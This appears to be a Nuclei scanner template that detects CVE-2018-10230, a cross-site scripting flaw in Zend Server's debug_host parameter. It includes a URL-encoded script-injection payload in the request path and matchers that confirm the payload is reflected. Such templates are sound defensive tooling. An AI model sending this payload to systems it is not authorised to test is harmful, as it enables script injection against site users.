id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.00122
    epss-percentile: 0.46318
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
  tags: cve,cve2018,xss,zend

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201423fd900a1cd2dcf52028722c5f7a43f8b6d20d5a5b65d58f59ffed42a8f6ff02205da25d220a25b5faef2f03778f2b749c7a385c901429baf839f1815fc1681d28:922c64590222798bb761d5b6d8e72950